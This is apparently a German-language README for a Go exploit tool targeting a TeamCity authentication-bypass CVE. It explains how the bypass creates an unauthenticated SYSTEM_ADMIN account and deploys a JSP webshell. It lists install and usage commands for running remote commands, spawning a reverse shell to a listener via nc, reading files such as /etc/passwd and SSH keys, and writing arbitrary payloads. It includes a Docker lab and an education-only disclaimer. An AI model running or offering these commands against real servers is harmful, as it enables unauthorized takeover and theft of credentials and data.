
CVE-2024-56348 — JetBrains TeamCity <2024.12 Auth-Bypass + RCE-Exploit (nicht authentifizierter SYSTEM_ADMIN + Shell)
CVE-2024-56348 ist eine kritische Authentifizierungs-Bypass-Schwachstelle in JetBrains TeamCity on-premises, die alle Versionen vor 2024.12 betrifft. Die REST-API verarbeitet Anfragen an Pfade, die ;.jsp enthalten, fehlerhaft, wodurch ein nicht authentifizierter Angreifer jeden REST-Endpunkt aufrufen kann, als wäre er vollständig authentifiziert.
Dieser Exploit kombiniert den Bypass mit der eigenen REST-API von TeamCity, um ein SYSTEM_ADMIN-Konto zu erstellen, ein API-Token zu generieren und vollständige Remote-Codeausführung zu erreichen – entweder über den integrierten Debug-Endpunkt oder über eine dynamisch hochgeladene JSP-Plugin-Webshell. Es sind keine Anmeldedaten erforderlich.
Betroffene Versionen: JetBrains TeamCity on-premises < 2024.12
-command mit vollständiger stdout-, stderr- und Exit-Code-Ausgabegit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t Target URL (e.g. http://127.0.0.1:8111)
-command Execute a single command and print output
-shell Spawn a reverse shell (requires -lhost and -lport)
-lhost Listener host for the reverse shell
-lport Listener port for the reverse shell
-read-file Read a remote file and print its contents
-write-file Remote path to write to (requires -file-content)
-file-content Content to write when using -write-file
Ohne Aktionsflag wird automatisch eine interaktive Shell gestartet.
Verbindet sich mit dem Ziel, bestätigt den Bypass, erstellt ein temporäres Administratorkonto und startet eine interaktive Shell. Die Eingabeaufforderung zeigt den Exit-Code des letzten Befehls in Grün (Erfolg) oder Rot (ungleich Null).
./cve-2024-56348 -t http://127.0.0.1:8111

Führt einen einzelnen Befehl aus und gibt stdout, stderr und Exit-Code getrennt aus.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

Stellt die JSP-Plugin-Webshell bereit und löst eine Reverse Shell zurück zu Ihrem Listener aus. Starten Sie zuerst nc -lvp 4444.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

Liest jede Datei, auf die der TeamCity-Prozess Zugriff hat — nützlich für Konfigurationsdateien, SSH-Schlüssel usw.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

Schreibt beliebigen Inhalt in einen entfernten Pfad. Nützlich zum Ablegen zusätzlicher Payloads oder zum Ändern der Konfiguration.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

Eine eigenständige Docker-Compose-Umgebung mit einer verwundbaren TeamCity-Instanz für lokale Tests. Weitere Details finden Sie in DOCKER.md.
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
Falls das Skript "[-] Plugin upload failed." zurückgibt, versuchen Sie, sich mit dem Benutzer hackindex anzumelden, und versuchen Sie es erneut. (Anmeldedaten finden Sie in DOCKER.md)
Dieses Tool wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.